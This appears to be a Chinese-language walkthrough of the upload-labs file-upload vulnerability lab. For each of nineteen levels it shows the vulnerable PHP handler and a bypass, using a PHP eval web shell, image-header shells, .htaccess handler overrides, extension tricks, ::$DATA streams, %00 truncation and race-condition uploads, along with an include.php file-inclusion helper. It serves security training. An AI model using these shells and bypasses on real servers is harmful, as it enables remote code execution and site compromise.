upload-labs 搭建
windows本地搭建 (推荐)
linux docker快速搭建 (不推荐,linux环境有的pass不了)
docker search upload-labs
docker pull xxx
docker run -dt -p 80:80 xxx
访问 http://localhost
攻略 关卡可能有略微差异 请自行比较
Pass-01 创建文件upload.png 内容:<?php @eval($_POST['cmd']);?>
客户端检查,删除本地js代码或Burp抓包修改后缀为php即可
页面检查查看图片文件名,访问upload/xxx.php,post cmd=phpinfo(); 查看是否成功
Pass-02 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { if (($_FILES ['upload_file' ]['type' ] == 'image/jpeg' ) || ($_FILES ['upload_file' ]['type' ] == 'image/png' ) || ($_FILES ['upload_file' ]['type' ] == 'image/gif' )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . $_FILES ['upload_file' ]['name' ]; $is_upload = true ; } } else { $msg = '文件类型不正确,请重新上传!' ; } } else { $msg = $UPLOAD_ADDR .'文件夹不存在,请手工创建!' ; } }
判断文件类型
法一:上传php,将Content-Type字段由 application/octet-stream
改为 image/png
法二:上传png,将后缀改为php
Pass-03 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array ('.asp' ,'.aspx' ,'.php' ,'.jsp' ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR .'/' . $_FILES ['upload_file' ]['name' ]; $is_upload = true ; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
黑名单防护,不允许上传’.asp’,’.aspx’,’.php’,’.jsp’后缀的文件,可以尝试上传.phtml .phps .php5 .pht的后缀文件,都可以当做php脚本解析,如果Web服务器是apache,也可以上传.htaccess文件,来绕过黑名单。尝试上传.phtml,发现上传成功,再响应包或页面检查中找到文件路径,访问查看
注意要在apache的httpd.conf中有如下配置代码: AddType application/x-httpd-php .php .phtml .phps .php5 .pht
Pass-04 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,"php1" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,"pHp1" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . $_FILES ['upload_file' ]['name' ]; $is_upload = true ; } } else { $msg = '此文件不允许上传!' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
发现没有过滤 .htaccess
.htaccess:超文本入口
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
1 2 3 <FilesMatch "04.png"> //如果匹配到名为 04.png 的文件 就把文件当成php的代码来解析 SetHandler application/x-httpd-php </FilesMatch>
上传.htacess 再上传04.png 然后查看;
Pass-05 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
代码没有将文件后缀转为小写再比较 故可以将后缀改为 .PHP
.PHp
.pHTml
等 (windows服务器不区分大小写故直接访问05.php即可)
Pass-06 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
没有去除后缀中首尾的空格 上传 06.php
(注意末尾有个空格) **windows服务器默认去除文件末尾的 “.” 和 “ “故直接访问06.php即可
Pass-07 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
没有去除末尾的 “.” 上传 07.php.
windows服务器默认去除文件末尾的 “.” 和 “ “ 直接访问07.php即可
Pass-08 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
没有去除 “::$DATA”
php在window的时候如果文件名+”::$DATA”会把::$DATA 之 后 的 数 据 当 成 文 件 流 处 理 , **不 会 检 测 后 缀 名 **. 且保持 ::$DATA之前的文件名 目的就是不检查后缀名。ps:只能是Windows系统,并且只能是php文件
上传08.php::$DATA 访问08.php
Pass-09 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
过滤了.htacess;删除文件末尾的所有点;按点分隔获取后缀,再首尾去除空格
使用后缀 .php. . 则处理后最后剩下”.php. “ 访问09.php查看
Pass-10 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = str_ireplace ($deny_ext ,"" , $file_name ); if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $file_name )) { $img_path = $UPLOAD_ADDR . '/' .$file_name ; $is_upload = true ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
将非法后缀转换为空串 故可上传 10.pphphp
然后访问 10.php
Pass-11 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array ($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_GET ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = '上传失败!' ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
save_path是GET可控的 采用%00截断
?save_path=../upload/11.php%00 上传png文件 则可访问11.php
Pass-12 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array ($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_POST ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
save_path是POST可控的 同样采用%00截断
不过POST不会对数据自动解码 需要手动解码:Burp中选中%00 > 右键 > Convert Selection > URL > URL-decode
然后访问12.php
Pass-13 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 function getReailFileType ($filename ) { $file = fopen ($filename , "rb" ); $bin = fread ($file , 2 ); fclose ($file ); $strInfo = @unpack ("C2chars" , $bin ); $typeCode = intval ($strInfo ['chars1' ].$strInfo ['chars2' ]); $fileType = '' ; switch ($typeCode ){ case 255216 : $fileType = 'jpg' ; break ; case 13780 : $fileType = 'png' ; break ; case 7173 : $fileType = 'gif' ; break ; default : $fileType = 'unknown' ; } return $fileType ; } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_type = getReailFileType ($temp_file ); if ($file_type == 'unknown' ){ $msg = "文件未知,上传失败!" ; }else { $img_path = $UPLOAD_ADDR ."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_type ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } }
图片马上传 代码中根据文件的magic number来判断文件类型
构造图片马(13.php) GIF89a是gif文件的magic number:
1 2 GIF89a <?php @eval ($_POST ['cmd' ]);?>
上传图片马
通过include.php检测是否成功
include.php没有的话自行在upload-labs文件夹下补充:
1 2 3 4 5 6 7 8 9 10 11 12 <?php header ("Content-Type:text/html;charset=utf-8" );$file = $_GET ['file' ];if (isset ($file )){include $file ;}else { show_source (__file__);} ?>
查看源代码中的图片文件名 访问upload-labs/include.php?file=upload/xxxxxx.gif
Pass-14 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 function isImage ($filename ) { $types = '.jpeg|.png|.gif' ; if (file_exists ($filename )){ $info = getimagesize ($filename ); $ext = image_type_to_extension ($info [2 ]); if (stripos ($types ,$ext )){ return $ext ; }else { return false ; } }else { return false ; } } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage ($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = $UPLOAD_ADDR ."/" .rand (10 , 99 ).date ("YmdHis" ).$res ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } }
图片马 构造方法和Pass-13的一样
Pass-15 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 function isImage ($filename ) { $image_type = exif_imagetype ($filename ); switch ($image_type ) { case IMAGETYPE_GIF: return "gif" ; break ; case IMAGETYPE_JPEG: return "jpg" ; break ; case IMAGETYPE_PNG: return "png" ; break ; default : return false ; break ; } } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage ($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = $UPLOAD_ADDR ."/" .rand (10 , 99 ).date ("YmdHis" )."." .$res ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } }
图片马 构造方法和Pass-13的一样
Pass-16 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $filename = $_FILES ['upload_file' ]['name' ]; $filetype = $_FILES ['upload_file' ]['type' ]; $tmpname = $_FILES ['upload_file' ]['tmp_name' ]; $target_path =$UPLOAD_ADDR .basename ($filename ); $fileext = substr (strrchr ($filename ,"." ),1 ); if (($fileext == "jpg" ) && ($filetype =="image/jpeg" )){ if (move_uploaded_file ($tmpname ,$target_path )) { $im = imagecreatefromjpeg ($target_path ); if ($im == false ){ $msg = "该文件不是jpg格式的图片!" ; }else { srand (time ()); $newfilename = strval (rand ()).".jpg" ; $newimagepath = $UPLOAD_ADDR .$newfilename ; imagejpeg ($im ,$newimagepath ); $img_path = $UPLOAD_ADDR .$newfilename ; unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传失败!" ; } }else if (($fileext == "png" ) && ($filetype =="image/png" )){ if (move_uploaded_file ($tmpname ,$target_path )) { $im = imagecreatefrompng ($target_path ); if ($im == false ){ $msg = "该文件不是png格式的图片!" ; }else { srand (time ()); $newfilename = strval (rand ()).".png" ; $newimagepath = $UPLOAD_ADDR .$newfilename ; imagepng ($im ,$newimagepath ); $img_path = $UPLOAD_ADDR .$newfilename ; unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传失败!" ; } }else if (($fileext == "gif" ) && ($filetype =="image/gif" )){ if (move_uploaded_file ($tmpname ,$target_path )) { $im = imagecreatefromgif ($target_path ); if ($im == false ){ $msg = "该文件不是gif格式的图片!" ; }else { srand (time ()); $newfilename = strval (rand ()).".gif" ; $newimagepath = $UPLOAD_ADDR .$newfilename ; imagegif ($im ,$newimagepath ); $img_path = $UPLOAD_ADDR .$newfilename ; unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传失败!" ; } }else { $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!" ; } }
图片马 代码综合判断了文件后缀和Content-Type,并进行了二次渲染 Pass-13的图片马无法成功
尝试用真实图片末尾加上木马:
1 cat 1.gif 2.php > imgshell.gif
然后上传查看 发现失败 下载gif发现末尾的木马被修改了; 比较找到不变的区域 植入木马再上传即可
具体查看:文章
Pass-17 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_name = $_FILES ['upload_file' ]['name' ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_ext = substr ($file_name ,strrpos ($file_name ,"." )+1 ); $upload_file = $UPLOAD_ADDR . '/' . $file_name ; if (move_uploaded_file ($temp_file , $upload_file )){ if (in_array ($file_ext ,$ext_arr )){ $img_path = $UPLOAD_ADDR . '/' . rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; rename ($upload_file , $img_path ); unlink ($upload_file ); $is_upload = true ; }else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; unlink ($upload_file ); } }else { $msg = '上传失败!' ; } }
先将上传的文件保存,再判断后缀 如果不合法则删去 合法就改名
这里存在条件竞争漏洞 如果多次传输17.php 赶在某次它被删除之前访问即可 可以使用Burp的Intruder模块 Payloads > Payload type > Null Payloads, Payload Options > Continue indefinitely
与多线程条件竞争相同
Pass-18 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ require_once ("./myupload.php" ); $imgFileName =time (); $u = new MyUpload ($_FILES ['upload_file' ]['name' ], $_FILES ['upload_file' ]['tmp_name' ], $_FILES ['upload_file' ]['size' ],$imgFileName ); $status_code = $u ->upload ($UPLOAD_ADDR ); switch ($status_code ) { case 1 : $is_upload = true ; $img_path = $u ->cls_upload_dir . $u ->cls_file_rename_to; break ; case 2 : $msg = '文件已经被上传,但没有重命名。' ; break ; case -1 : $msg = '这个文件不能上传到服务器的临时文件存储目录。' ; break ; case -2 : $msg = '上传失败,上传目录不可写。' ; break ; case -3 : $msg = '上传失败,无法上传该类型文件。' ; break ; case -4 : $msg = '上传失败,上传的文件过大。' ; break ; case -5 : $msg = '上传失败,服务器已经存在相同名称文件。' ; break ; case -6 : $msg = '文件无法上传,文件不能复制到目标目录。' ; break ; default : $msg = '未知错误!' ; break ; } } class MyUpload {...... ...... ...... var $cls_arr_ext_accepted = array ( ".doc" , ".xls" , ".txt" , ".pdf" , ".gif" , ".jpg" , ".zip" , ".rar" , ".7z" ,".ppt" , ".html" , ".xml" , ".tiff" , ".jpeg" , ".png" ); ...... ...... ...... function upload ( $dir ) { $ret = $this ->isUploadedFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->setDir ( $dir ); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkExtension (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkSize (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_file_exists == 1 ){ $ret = $this ->checkFileExists (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } $ret = $this ->move (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_rename_file == 1 ){ $ret = $this ->renameFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } return $this ->resultUpload ( "SUCCESS" ); } ...... ...... ...... };
同样存在条件竞争 不过用的是图片马 其他与Pass-18相同
Pass-19 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = $_POST ['save_name' ]; $file_ext = pathinfo ($file_name ,PATHINFO_EXTENSION); if (!in_array ($file_ext ,$deny_ext )) { $img_path = $UPLOAD_ADDR . '/' .$file_name ; if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $img_path )) { $is_upload = true ; }else { $msg = '上传失败!' ; } }else { $msg = '禁止保存为该类型文件!' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
判断操作是基于 save_name 的,即保存名称 处理较少 可以用很多前面的解法 在末尾加 “.” 或 “ “ 或::$DATA或大小写变换等